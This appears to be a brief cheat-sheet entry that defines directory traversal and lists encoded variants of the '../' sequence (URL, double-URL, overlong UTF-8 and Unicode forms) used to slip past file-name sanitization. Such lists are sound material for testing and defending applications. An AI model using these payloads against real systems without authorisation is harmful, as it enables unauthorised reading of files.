A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\